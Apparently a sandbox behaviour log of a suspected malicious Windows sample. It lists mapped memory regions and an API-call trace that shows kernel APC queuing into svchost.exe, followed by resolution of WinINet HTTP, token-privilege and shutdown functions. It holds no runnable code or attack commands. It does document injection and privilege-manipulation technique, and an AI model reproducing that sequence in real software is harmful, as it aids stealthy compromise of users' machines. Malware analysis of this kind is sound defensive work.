region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 1684 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 1685 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 1686 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 1687 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 1688 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 1689 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 1690 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 1691 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 1692 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 1693 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 1694 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 1695 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 1705 start_va = 0xd80000 end_va = 0xdfffff entry_point = 0x0 region_type = private name = "private_0x0000000000d80000" filename = "" Region: id = 1706 start_va = 0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 1707 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 1708 start_va = 0x10a0000 end_va = 0x136efff entry_point = 0x10a0000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 1738 start_va = 0xc00000 end_va = 0xc7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 1739 start_va = 0xca0000 end_va = 0xd1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ca0000" filename = "" Region: id = 1740 start_va = 0xef0000 end_va = 0xf6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ef0000" filename = "" Region: id = 1741 start_va = 0x1000000 end_va = 0x107ffff entry_point = 0x0 region_type = private name = "private_0x0000000001000000" filename = "" Region: id = 1742 start_va = 0x7fefb6c0000 end_va = 0x7fefb726fff entry_point = 0x7fefb6d6060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" Region: id = 1743 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda91010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" Region: id = 1744 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 1745 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1746 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1747 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2239 start_va = 0x10000 end_va = 0x10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2240 start_va = 0xe20000 end_va = 0xe9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e20000" filename = "" Region: id = 2241 start_va = 0x1430000 end_va = 0x14affff entry_point = 0x0 region_type = private name = "private_0x0000000001430000" filename = "" Region: id = 2242 start_va = 0x14b0000 end_va = 0x15affff entry_point = 0x0 region_type = private name = "private_0x00000000014b0000" filename = "" Region: id = 2243 start_va = 0x15f0000 end_va = 0x166ffff entry_point = 0x0 region_type = private name = "private_0x00000000015f0000" filename = "" Region: id = 2244 start_va = 0x7fefadf0000 end_va = 0x7fefadf9fff entry_point = 0x7fefadf47b8 region_type = mapped_file name = "nsisvc.dll" filename = "\\Windows\\System32\\nsisvc.dll" Region: id = 2245 start_va = 0x7fefd190000 end_va = 0x7fefd1d6fff entry_point = 0x7fefd191064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" Region: id = 2246 start_va = 0x7fefd490000 end_va = 0x7fefd4a6fff entry_point = 0x7fefd4932b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" Region: id = 2247 start_va = 0x7fefdb40000 end_va = 0x7fefdb53fff entry_point = 0x7fefdb410e0 region_type = mapped_file name = "RpcRtRemote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" Region: id = 2248 start_va = 0x7feff570000 end_va = 0x7feff608fff entry_point = 0x7feff571c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" Region: id = 2249 start_va = 0x7feffce0000 end_va = 0x7feffce7fff entry_point = 0x7feffce1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" Region: id = 2250 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2251 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3567 start_va = 0x20000 end_va = 0x23fff entry_point = 0x20000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" Region: id = 3568 start_va = 0x1b0000 end_va = 0x1c0fff entry_point = 0x1c6060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" Region: id = 3569 start_va = 0x3e0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 3570 start_va = 0x15b0000 end_va = 0x16affff entry_point = 0x0 region_type = private name = "private_0x00000000015b0000" filename = "" Region: id = 3571 start_va = 0x16b0000 end_va = 0x172ffff entry_point = 0x0 region_type = private name = "private_0x00000000016b0000" filename = "" Region: id = 3572 start_va = 0x1790000 end_va = 0x180ffff entry_point = 0x0 region_type = private name = "private_0x0000000001790000" filename = "" Region: id = 3573 start_va = 0x7fef7d50000 end_va = 0x7fef7dc3fff entry_point = 0x7fef7d566f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" Region: id = 3574 start_va = 0x7fefb940000 end_va = 0x7fefb954fff entry_point = 0x7fefb9460d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" Region: id = 3575 start_va = 0x7fefdaa0000 end_va = 0x7fefdb30fff entry_point = 0x7fefdaa1440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" Region: id = 3576 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 3577 start_va = 0x1830000 end_va = 0x18affff entry_point = 0x0 region_type = private name = "private_0x0000000001830000" filename = "" Region: id = 3578 start_va = 0x18c0000 end_va = 0x193ffff entry_point = 0x0 region_type = private name = "private_0x00000000018c0000" filename = "" Region: id = 3579 start_va = 0x7fef7c70000 end_va = 0x7fef7c88fff entry_point = 0x7fef7c72b50 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" Region: id = 3580 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 3604 start_va = 0x13a0000 end_va = 0x141ffff entry_point = 0x0 region_type = private name = "private_0x00000000013a0000" filename = "" Region: id = 3605 start_va = 0x7fef7a80000 end_va = 0x7fef7a8bfff entry_point = 0x7fef7a8602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" Region: id = 3606 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 3607 start_va = 0x3c0000 end_va = 0x3c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003c0000" filename = "" Region: id = 3608 start_va = 0x1a20000 end_va = 0x1a9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001a20000" filename = "" Region: id = 3609 start_va = 0x1b80000 end_va = 0x1bfffff entry_point = 0x0 region_type = private name = "private_0x0000000001b80000" filename = "" Region: id = 3610 start_va = 0x75960000 end_va = 0x75962fff entry_point = 0x75960000 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" Region: id = 3611 start_va = 0x7fef79a0000 end_va = 0x7fef7a77fff entry_point = 0x7fef7a2a7d0 region_type = mapped_file name = "perftrack.dll" filename = "\\Windows\\System32\\perftrack.dll" Region: id = 3612 start_va = 0x7fef8c50000 end_va = 0x7fef8c5ffff entry_point = 0x7fef8c51010 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" Region: id = 3613 start_va = 0x7fef8c60000 end_va = 0x7fef8c71fff entry_point = 0x7fef8c61050 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" Region: id = 3614 start_va = 0x7fefa720000 end_va = 0x7fefa79bfff entry_point = 0x7fefa7211d4 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" Region: id = 3615 start_va = 0x7fefc090000 end_va = 0x7fefc0a7fff entry_point = 0x7fefc091130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" Region: id = 3616 start_va = 0x7fefcd60000 end_va = 0x7fefcd6bfff entry_point = 0x7fefcd61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" Region: id = 3617 start_va = 0x7fefda00000 end_va = 0x7fefda0afff entry_point = 0x7fefda01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" Region: id = 3618 start_va = 0x7fefda60000 end_va = 0x7fefda84fff entry_point = 0x7fefda69658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" Region: id = 3619 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 3729 start_va = 0xc00000 end_va = 0xc0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 3730 start_va = 0x1730000 end_va = 0x17affff entry_point = 0x0 region_type = private name = "private_0x0000000001730000" filename = "" Region: id = 3731 start_va = 0x1aa0000 end_va = 0x1b1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001aa0000" filename = "" Region: id = 3732 start_va = 0x1c00000 end_va = 0x1cfffff entry_point = 0x0 region_type = private name = "private_0x0000000001c00000" filename = "" Region: id = 3733 start_va = 0x1d40000 end_va = 0x1dbffff entry_point = 0x0 region_type = private name = "private_0x0000000001d40000" filename = "" Region: id = 3734 start_va = 0x1ee0000 end_va = 0x1f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 3735 start_va = 0x7fef90a0000 end_va = 0x7fef9103fff entry_point = 0x7fef90a1254 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" Region: id = 3736 start_va = 0x7fef9110000 end_va = 0x7fef9180fff entry_point = 0x7fef9111010 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" Region: id = 3737 start_va = 0x7fefb680000 end_va = 0x7fefb68afff entry_point = 0x7fefb681198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" Region: id = 3738 start_va = 0x7fefb690000 end_va = 0x7fefb6b6fff entry_point = 0x7fefb6998bc region_type = mapped_file name = "IPHLPAPI.DLL" filename = "\\Windows\\System32\\IPHLPAPI.DLL" Region: id = 3739 start_va = 0x7fefcf30000 end_va = 0x7fefcf4afff entry_point = 0x7fefcf32068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" Region: id = 3740 start_va = 0x7feff1e0000 end_va = 0x7feff22cfff entry_point = 0x7feff1e1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" Region: id = 3741 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 3742 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 3743 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 3744 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 3745 start_va = 0x1940000 end_va = 0x19fffff entry_point = 0x1940000 region_type = mapped_file name = "KernelBase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" Region: id = 3746 start_va = 0x7fefd060000 end_va = 0x7fefd069fff entry_point = 0x7fefd063cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" Region: id = 3747 start_va = 0x1eb0000 end_va = 0x1ebffff entry_point = 0x0 region_type = private name = "private_0x0000000001eb0000" filename = "" Region: id = 3748 start_va = 0x2110000 end_va = 0x218ffff entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 3749 start_va = 0x7fefa130000 end_va = 0x7fefa144fff entry_point = 0x7fefa1312a0 region_type = mapped_file name = "NapiNSP.dll" filename = "\\Windows\\System32\\NapiNSP.dll" Region: id = 3750 start_va = 0x7fefd2b0000 end_va = 0x7fefd30afff entry_point = 0x7fefd2b6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" Region: id = 3751 start_va = 0x7fef9b00000 end_va = 0x7fef9b18fff entry_point = 0x7fef9b0177c region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" Region: id = 3752 start_va = 0x7fefa120000 end_va = 0x7fefa12afff entry_point = 0x7fefa1212e0 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" Region: id = 3753 start_va = 0x7fefd430000 end_va = 0x7fefd484fff entry_point = 0x7fefd431054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" Thread: id = 223 os_tid = 0x124 [0085.276] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\svchost.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.277] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.279] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0085.279] IoIs32bitProcess (Irp=0x0) returned 0 [0085.279] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80036d43e0 [0085.279] KeInitializeApc (Apc=0xfffffa80036d43e0, Thread=0xfffffa8003794690, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0085.279] KeInsertQueueApc (Apc=0xfffffa80036d43e0, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0085.279] ExFreePoolWithTag (P=0xfffffa80036d43e0, Tag=0x0) [0085.279] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa800378e3f0 [0085.279] IoGetCurrentProcess () returned 0xfffffa800378fb30 [0085.279] PsGetCurrentProcessId () returned 0x128 [0085.279] IoIs32bitProcess (Irp=0x0) returned 0 [0085.279] KeInitializeEvent (in: Event=0xfffffa800378e430, Type=0x0, State=0 | out: Event=0xfffffa800378e430) [0085.279] ExQueueWorkItem (in: WorkItem=0xfffffa800378e3f0*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa800378e3f0), QueueType=0x1 | out: WorkItem=0xfffffa800378e3f0*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa800378e3f0)) [0085.308] KeWaitForMutexObject () returned 0x0 [0085.308] ExFreePoolWithTag (P=0xfffffa800378e3f0, Tag=0x0) [0085.309] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.313] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.314] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.314] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.316] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0085.319] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0085.319] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0085.319] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0085.319] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0085.319] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0085.319] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.320] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.320] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.320] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.320] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.321] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.321] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.322] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.322] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.323] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.323] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.323] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.324] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.326] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.326] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.352] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0085.352] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0085.352] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0085.352] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0085.352] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.354] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0085.354] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0085.354] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.355] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0085.355] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0085.355] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0085.355] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0085.355] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0085.355] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0085.355] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0085.357] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0085.357] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0085.357] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x24f468 | out: lpflOldProtect=0x24f468*=0x40) returned 1 [0085.357] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x24f468 | out: lpflOldProtect=0x24f468*=0x4) returned 1 [0085.357] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0085.357] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0085.357] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0085.357] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0085.357] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0085.357] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0085.357] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0085.358] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0085.358] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0085.358] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0085.358] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0085.358] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0085.358] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0085.358] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0085.358] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0085.358] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0085.358] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0085.358] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0085.358] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0085.358] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0085.358] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0085.358] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0085.358] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0085.359] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0085.359] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0085.359] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0085.359] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0085.359] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0085.359] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0085.359] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0085.359] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0085.359] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0085.359] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0085.359] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0085.359] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0085.359] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0085.359] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0085.359] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0085.359] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0085.359] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0085.360] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0085.360] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0085.360] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0085.360] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0085.360] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0085.360] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0085.360] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0085.360] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0085.360] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0085.360] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0085.360] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0085.360] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0085.360] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0085.360] GetProcAddress 